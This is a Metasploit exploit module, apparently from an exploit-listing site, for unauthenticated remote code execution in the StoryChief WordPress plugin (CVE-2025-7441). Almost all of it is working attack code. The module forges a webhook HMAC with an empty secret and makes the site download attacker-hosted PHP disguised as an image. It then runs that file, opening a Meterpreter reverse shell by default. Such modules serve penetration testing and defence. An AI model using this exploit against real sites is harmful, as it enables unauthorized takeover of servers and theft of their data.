Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-WP_PLUGIN_STORY_CHEF_FILE_UPLOAD-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress StoryChief Plugin Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated arbitrary file upload
          vulnerability in the StoryChief WordPress plugin <= 1.0.42.

          The plugin exposes a webhook endpoint at
          /wp-json/storychief/webhook which accepts a forged HMAC.
          Because the plugin uses an empty secret for HMAC validation,
          attackers can compute a valid MAC and force WordPress to
          download and store attacker-controlled PHP content inside
          the uploads directory, resulting in remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'xpl0dec', # Original PoC
          'Nayera'   # Metasploit module
        ],
        'References' => [
          ['CVE', '2025-7441'],
          ['EDB', '52422'],
          ['URL', 'https://github.com/Story-Chief/wordpress']
        ],
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Automatic Target', {}]
        ],
        'DisclosureDate' => '2025-08-04',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp',
          'WfsDelay' => 15
        },
        'Privileged' => false,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to WordPress', '/'])
    ])
  end

  #
  # Check Method
  #
  def check
    return CheckCode::Safe('WordPress not detected') unless wordpress_and_online?

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief')
    )

    unless res && res.code == 200
      return CheckCode::Safe('StoryChief REST namespace not found')
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
      'ctype' => 'application/json',
      'data' => '{"meta":{"mac":"","event":"publish"},"data":{}}'
    )

    return CheckCode::Unknown('No response from webhook endpoint') unless res

    return CheckCode::Appears('StoryChief webhook endpoint reachable and likely vulnerable') if res.code != 404

    CheckCode::Safe('Webhook endpoint returned 404. The plugin may not be installed, permalinks may not be configured, or the target is not vulnerable.')
  end

  #
  # Serve malicious PHP payload
  #
  def on_request_uri(cli, _req)
    print_good("Serving malicious payload to #{cli.peerhost}")

    php_payload = payload.encoded

    send_response(
      cli,
      php_payload,
      'Content-Type' => 'image/jpeg'
    )

    close_client(cli)
  end

  #
  # Generate JSON body + HMAC
  #
  def generate_signed_body(remote_url)
    body_hash = {
      'meta' => {
        'event' => 'publish'
      },
      'data' => {
        'featured_image' => {
          'data' => {
            'sizes' => {
              'full' => remote_url
            }
          }
        }
      }
    }

    json_body = JSON.generate(body_hash).gsub('/', '\\/')
    signature = OpenSSL::HMAC.hexdigest('sha256', '', json_body)

    body_hash['meta']['mac'] = signature
    JSON.generate(body_hash)
  end

  #
  # Attempt to trigger uploaded shell
  #
  def trigger_shell(filename)
    now = Time.now

    upload_path = normalize_uri(
      target_uri.path,
      'wp-content',
      'uploads',
      now.year.to_s,
      format('%02d', now.month),
      filename
    )

    print_status("Attempting to execute uploaded payload at #{upload_path}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => upload_path
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Uploaded payload did not return HTTP 200, execution likely failed')
    end
  end

  #
  # Main Exploit
  #
  def exploit
    payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
    register_file_for_cleanup(payload_name)

    print_status('Starting local HTTP server for payload hosting')

    start_service(
      'Uri' => {
        'Path' => "/#{payload_name}",
        'Proc' => proc { |cli, req| on_request_uri(cli, req) }
      }
    )

    payload_url = "#{get_uri.chomp('/')}/#{payload_name}"
    print_status("Payload URL: #{payload_url}")

    request_body = generate_signed_body(payload_url)

    print_status('Sending malicious webhook request')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
      'ctype' => 'application/json',
      'data' => request_body
    )

    fail_with(Failure::Unreachable, 'No response from target') unless res

    unless res.code == 200 && res.body.include?('permalink')
      fail_with(Failure::UnexpectedReply, "Unexpected response (#{res.code})")
    end

    print_good('Webhook accepted payload โ€” attempting execution')

    trigger_shell(payload_name)
  end
end